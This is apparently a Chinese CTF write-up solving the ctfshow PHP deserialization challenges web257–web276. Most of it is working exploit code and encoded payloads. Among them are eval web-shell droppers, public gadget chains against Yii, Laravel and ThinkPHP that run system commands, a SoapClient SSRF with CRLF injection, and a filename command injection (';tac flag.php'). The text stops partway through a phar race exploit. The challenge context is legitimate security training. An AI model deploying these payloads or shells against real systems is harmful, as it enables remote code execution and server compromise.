private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

在析构时调用后门函数执行命令即可

<?php
error_reporting(0);

class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new backDoor();
}

}

class backDoor{
private $code = 'system("tac flag.php");';
}

$a = new ctfShowUser();
print_r(urlencode(serialize($a)));

?>

最终payload

/?username=a&password=a
Cookie:
user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D

web258

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}

exp与上题基本一致,注意变更为public

<?php
error_reporting(0);

class ctfShowUser{
public $class = 'info';
function __construct(){
$this->class = new backDoor();
}
}


class backDoor{
public $code = 'system("tac flag.php");';
}

$a = new ctfShowUser();
// print_r(serialize($a).PHP_EOL);
// O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:23:"system("tac flag.php");";}}

//在两处O:后面添加+后url编码一下即可
// O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:23:"system("tac flag.php");";}}
print_r(urlencode('O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:23:"system("tac flag.php");";}}'))

?>

最终payload

/?username=a&password=a
Cookie:
user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system(%22tac%20flag.php%22)%3B%22%3B%7D%7D

web259

flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

XFF没用,估计还判断了下真实ip

index.php

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

调用不存在的方法时会调用call,故使用原生类

<?php
error_reporting(0);
$ua = "ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";

$soapclient = new SoapClient(null, array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php', 'user_agent'=>$ua));

echo urlencode(serialize($soapclient));
?>

最终payload,然后访问flag.txt即可

/?vip=O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A138%3A%22ctfshow%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

web260

序列化后的字符串中含有ctfshow_i_love_36D即可

/?ctfshow=ctfshow_i_love_36D

web261

<?php

highlight_file(__FILE__);

class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}

public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}

unserialize($_GET['vip']);

当反序列化时会进入__unserialize中,而且__invoke无法利用,故直接写🐎。0x3d是弱类型比较。

编写exp

<?php
error_reporting(0);
class ctfshowvip{
public $username;
public $password;
public $code;

function __construct()
{
$this->username = '877.php';
$this->password = '<?php eval($_POST[a]);?>';
}
}

$a = new ctfshowvip();
print_r(urlencode(serialize($a)));
?>

最终payload

/?vip=O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3BN%3B%7D

然后利用877.php即可

web262

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}

highlight_file(__FILE__);

message.php

<?php
highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

设置Cookie中的msg字段,使token=admin即可

<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='admin';
public function __construct(){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$a = new message();
echo base64_encode(serialize($a));
?>

直接打message.php

/message.php
Cookie:
msg=Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7TjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

也可以利用字符串逃逸

<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
}

$str = '";s:5:"token";s:5:"admin";}';
$len = strlen($str);
$s = '';
for ($i=0; $i < $len; $i++) {
$s = $s.'fuck';
}
$s = $s.$str;
echo $s.PHP_EOL;
$a = new message();
$a->to = $s;
echo serialize($a).PHP_EOL;
$umsg = str_replace('fuck', 'loveU', serialize($a));
echo $umsg.PHP_EOL;
?>

每次替换会给出一个字符的空,而要使得token=admin就需要尾部拼接上";s:5:"token";s:5:"admin";},总共需要27个字符的空间,故拼接27fuck让它被替换就可以了

/?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web263

访问www.zip获得源码压缩包,下面是关键文件代码

index.php,这里要注意它的limit写成了limti,所以不会超过限制

<?php
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}

?>


<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="initial-scale=1,maximum-scale=1, minimum-scale=1">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>ctfshow登陆</title>
<link href="css/style.css" rel="stylesheet">
</head>
<body>

<div class="pc-kk-form">
<center><h1>CTFshow 登陆</h1></center><br><br>
<form action="" onsubmit="return false;">
<div class="pc-kk-form-list">
<input id="u" type="text" placeholder="用户名">
</div>
<div class="pc-kk-form-list">
<input id="pass" type="password" placeholder="密码">
</div>

<div class="pc-kk-form-btn">
<button onclick="check();">登陆</button>
</div>
</form>
</div>


<script type="text/javascript" src="js/jquery.min.js"></script>

<script>

function check(){
$.ajax({
url:'check.php',
type: 'GET',
data:{
'u':$('#u').val(),
'pass':$('#pass').val()
},
success:function(data){
alert(JSON.parse(data).msg);
},
error:function(data){
alert(JSON.parse(data).msg);
}

});
}


</script>

</body>
</html>

check.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 16:59:10
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-06 19:15:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);


if($GET){

$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}

inc.php只贴部分比较关键的代码,可以看到使用了session.serialize_handlerUser类析构函数可以利用写🐎

ini_set('session.serialize_handler', 'php');

class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}

session反序列化,生成带|序列化文本写入shell即可

<?php
error_reporting(0);
class User{
public $username;
public $password;
public $status = '1';
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new User('1.php', '<?php eval($_GET["a"]);phpinfo();?>');
// echo '|'.serialize($a).PHP_EOL;
echo base64_encode('|'.serialize($a));
?>

修改Cookie访问index.php

fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozNToiPD9waHAgZXZhbCgkX0dFVFsiYSJdKTtwaHBpbmZvKCk7Pz4iO3M6Njoic3RhdHVzIjtzOjE6IjEiO30=

然后访问check.php生成🐎

/check.php?u=admin&pass=admin

最终直接打log-1.php即可

/log-1.php?a=system(%27tac%20flag.php%27);

web264

index.php

<?php
error_reporting(0);
session_start();

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}

highlight_file(__FILE__);
message.php
<?php
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

没办法直接改Cookie,只能用web262的字符串逃逸,同时要注意设置Cookie中的msg

/?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
Cookie:
msg=1

web265

<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;

public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
echo $flag;
}

token的地址传给password即可,这样password就会随着token一起变化,始终保持一致

<?php
error_reporting(0);

class ctfshowAdmin{
public $token;
public $password;

public function __construct(){
$this->password = &$this->token;
}
}

$a = new ctfshowAdmin();
echo serialize($a);

?>

最终payload

/?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}

web266

<?php
highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}

destruct会在脚本结束后销毁,而抛出异常导致无法立即执行destruct,所以我们要进行快速析构

删除末尾}

POST / HTTP/1.1
Host: 4bffa75e-ec01-4ff2-88e0-c120e4095bec.challenge.ctf.show
Content-Length: 73
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Origin: http://4bffa75e-ec01-4ff2-88e0-c120e4095bec.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://4bffa75e-ec01-4ff2-88e0-c120e4095bec.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";

修改属性个数

O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";}
O:7:"ctfshow":2:{}
O:7:"Ctfshow":2:{}

改变类名

O:7:"Ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

web267

弱口令登录

admin
admin

about页面源码中存在<!--?view-source -->,故访问页面/index.php?r=site%2Fabout&view-source得到反序列化点

///backdoor/shell
unserialize(base64_decode($_GET['code']))

写🐎进去

<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = "echo '<?php eval(\$_POST[1]);?>' > /var/www/html/basic/web/2.php";
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

最终payload

/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6NjM6ImVjaG8gJzw/cGhwIGV2YWwoJF9QT1NUWzFdKTs/PicgPiAvdmFyL3d3dy9odG1sL2Jhc2ljL3dlYi8yLnBocCI7fWk6MTtzOjM6InJ1biI7fX19fQ==

访问2.php并执行1=system('cat /flag');即可

web268

换个链子

<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = 'echo "<?php eval(\$_POST[1]);?>" > /var/www/html/basic/web/2.php';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
// 这里需要改为isRunning
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}

// poc2
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
// 生成poc
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

写🐎进去

/index.php?r=backdoor/shell&code=TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjk6ImlzUnVubmluZyI7YToyOntpOjA7TzoyMToieWlpXHJlc3RcQ3JlYXRlQWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czo2NDoiZWNobyAiPD9waHAgZXZhbChcJF9QT1NUWzFdKTs/PiIgPiAvdmFyL3d3dy9odG1sL2Jhc2ljL3dlYi8yLnBocCI7fWk6MTtzOjM6InJ1biI7fX19fX0=

访问2.php并执行1=system("cat /flags");即可

web269

用这个链子

<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', "echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/1.php");
echo(base64_encode(serialize($exp)));
}
?>

写🐎

/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czo3MzoiZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PicgPiAvdmFyL3d3dy9odG1sL2Jhc2ljL3dlYi8xLnBocCI7fWk6MTtzOjM6InJ1biI7fX19

访问1.php并执行1=system('cat /flagsa');即可

web270

前面步骤与web269一致,最后访问1.php并执行1=system('cat /flagsaa');即可

web271

用这个链子(项目源码

<?php

namespace Illuminate\Foundation\Testing {
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;

public function __construct($test, $app, $command, $parameters)
{
$this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->app = $app; //一个实例化的类 Illuminate\Foundation\Application
$this->command = $command; //要执行的php函数 system
$this->parameters = $parameters; //要执行的php函数的参数 array('id')
}
}
}

namespace Faker {
class DefaultGenerator
{
protected $default;

public function __construct($default = null)
{
$this->default = $default;
}
}
}

namespace Illuminate\Foundation {
class Application
{
protected $instances = [];

public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}

namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));

$app = new Illuminate\Foundation\Application();

$application = new Illuminate\Foundation\Application($app);

$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('cat /flag'));

echo urlencode(serialize($pendingcommand));
}
?>

直接POST

data=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A4%3A%22test%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Ba%3A1%3A%7Bs%3A5%3A%22hello%22%3Bs%3A5%3A%22world%22%3B%7D%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A0%3A%7B%7D%7D%7D%7D%7Ds%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D

web272-273

用这个链子

<?php
/*
Author:monitor
description:
laravel deserialization chain
*/
namespace Illuminate\Broadcasting
{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events,$event)
{
$this->events = $events;
$this->event = $event;
}
}
}

namespace Illuminate\Bus
{
class Dispatcher{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}

namespace Mockery\Loader
{
class EvalLoader{

}
}

namespace Mockery\Generator
{
class MockDefinition{
protected $config;
protected $code;
public function __construct($config,$code){
$this->config = $config;
$this->code = $code;
}
}
class MockConfiguration{
protected $name;
public function __construct($name)
{
$this->name = $name;
}
}
}

namespace Illuminate\Queue
{
class CallQueuedClosure{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}

namespace
{
// if($argc<2){
// echo "Description:\n\tUse laravel deserialization to eval php code,don't need to input php tags.";
// echo "\nUsage:" .$argv[0] . " <code>";
// exit();
// }
// var_dump($argv[1]);
$argv[1] = "system('cat\$IFS\$9/f*');";
// $argv[1] = "system('cat$IFS$9/f*');";
$code = $argv[1];
$mockconfiguration = new Mockery\Generator\MockConfiguration("pass");
$mockdefination = new Mockery\Generator\MockDefinition($mockconfiguration,"<?php ".$code." exit;?>");
$callqueuedclosure = new Illuminate\Queue\CallQueuedClosure($mockdefination);
$evaload = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evaload,"load"));
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$callqueuedclosure);
echo urlencode(serialize($pendingbroadcast));
}
?>

直接POST

data=O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A34%3A%22Illuminate%5CQueue%5CCallQueuedClosure%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A35%3A%22Mockery%5CGenerator%5CMockConfiguration%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A4%3A%22pass%22%3B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A37%3A%22%3C%3Fphp+system%28%27cat%24IFS%249%2Ff%2A%27%29%3B+exit%3B%3F%3E%22%3B%7D%7D%7D

web274

源码中发现

<!-- @unserialize(base64_decode(\$_GET['data']))-->

用这个链子

<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

直接GET访问

/?lin=cat /flag&data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19

web275

<?php
highlight_file(__FILE__);

class filter{
public $filename;
public $filecontent;
public $evilfile=false;

public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}

if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

}else{
echo 'where is flag?';
}

析构函数里可以直接命令执行

/?fn=;tac flag.php
POST:
flag=123

web276

<?php
highlight_file(__FILE__);

class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;

public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}

if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

}else{
echo 'where is flag?';
}

关键点在于file_put_contents函数,在这里可以使用phar反序列化。因为copy会耗费时间,所以可以利用条件竞争在文件被删除之前读取利用。

phar.php

<?php
//反序列化payload构造
class filter{
public $filename;
public $evilfile = true;
public $admin = true;

public function __construct(){
$this->filename=';tac f*';
}
}
@unlink("phar.phar");

//实例一个phar对象供后续操作,后缀名必须为phar
$phar = new Phar("phar.phar");
//开始缓冲对phar的写操作
$phar->startBuffering();

/*设置识别phar拓展的标识stub,必须以 __HALT_COMPILER(); ?> 结尾*/
